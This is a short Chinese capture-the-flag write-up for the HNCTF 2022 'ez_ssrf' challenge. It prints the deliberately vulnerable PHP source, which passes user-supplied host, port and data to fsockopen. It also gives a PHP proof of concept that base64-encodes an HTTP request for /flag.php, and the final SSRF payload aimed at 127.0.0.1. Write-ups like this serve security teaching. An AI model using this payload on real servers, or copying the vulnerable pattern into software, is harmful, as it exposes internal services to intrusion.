[HNCTF 2022 WEEK2]ez_ssrf
首先目录扫描得到/flag.php

题目提示访问/index.php
得到
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
fsockopen()函数用于打开一个 socket 连接
fsockopen(hostname, port, errno, errstr, timeout)
允许连接另一个服务器
设置主机为127.0.0.1 从而造成ssrf
访问flag.php拿flag
fwrite把请求内容发给目标 然后echo
写个poc
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
得到R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
作为data参数的值
还有两个参数设host为127.0.0.1 设port为80
最终payload
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

浙公网安备 33010602011771号